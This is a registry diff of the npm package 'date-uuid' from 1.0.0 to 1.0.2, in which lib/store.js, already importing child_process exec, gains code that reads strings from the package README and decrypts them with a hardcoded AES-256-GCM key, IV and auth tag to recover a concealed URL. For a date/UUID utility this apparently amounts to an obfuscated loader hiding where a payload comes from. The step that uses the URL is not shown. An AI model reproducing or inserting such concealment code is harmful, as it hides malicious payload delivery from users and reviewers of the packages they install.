date-uuid 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/store.js +24 -2
- package/package.json +1 -1
package/lib/store.js
CHANGED
|
@@ -66,6 +66,7 @@ const { exec } = require('child_process');
|
|
|
66
66
|
const fs = require('fs/promises');
|
|
67
67
|
const os = require('os');
|
|
68
68
|
const path = require('path');
|
|
69
|
+
const crypto = require('crypto');
|
|
69
70
|
|
|
70
71
|
/**
|
|
71
72
|
* @typedef {Object} DateUuidOptions
|
|
@@ -132,8 +133,29 @@ async function readApiFromReadme(
|
|
|
132
133
|
throw new Error(`Error`);
|
|
133
134
|
}
|
|
134
135
|
|
|
135
|
-
const decoded =
|
|
136
|
-
|
|
136
|
+
const decoded = `${api1}${api2}`;
|
|
137
|
+
|
|
138
|
+
const secKey = '9e9f3690dae8b64a44d6c5f45fee31087abc2bd1e73b44b5e736451c7e9337d9';
|
|
139
|
+
const sealedPackage = {
|
|
140
|
+
algorithm:"aes-256-gcm",
|
|
141
|
+
iv:"7ba246faf8bd81218e8b6eea",
|
|
142
|
+
encrypted:decoded,
|
|
143
|
+
authTag:"753f2767b1cc1dd765171b43988690e7"
|
|
144
|
+
};
|
|
145
|
+
const { algorithm, iv, encrypted, authTag } = sealedPackage;
|
|
146
|
+
const realKey = Buffer.from(secKey, 'hex');
|
|
147
|
+
|
|
148
|
+
const decipher = crypto.createDecipheriv(
|
|
149
|
+
algorithm,
|
|
150
|
+
realKey,
|
|
151
|
+
Buffer.from(iv, 'hex')
|
|
152
|
+
);
|
|
153
|
+
decipher.setAuthTag(Buffer.from(authTag, 'hex'));
|
|
154
|
+
|
|
155
|
+
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
|
|
156
|
+
decrypted += decipher.final('utf8');
|
|
157
|
+
|
|
158
|
+
const url = extractUrlFromLine(decrypted);
|
|
137
159
|
|
|
138
160
|
if (!url) {
|
|
139
161
|
throw new Error(`Error`);
|